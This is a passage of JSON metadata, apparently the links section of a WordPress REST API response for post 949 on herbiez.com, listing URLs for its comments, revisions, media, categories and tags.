true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=949"}],"version-history":[{"count":8,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/949\/revisions"}],"predecessor-version":[{"id":974,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/949\/revisions\/974"}],"wp:attachment":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=949"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=949"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=949"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}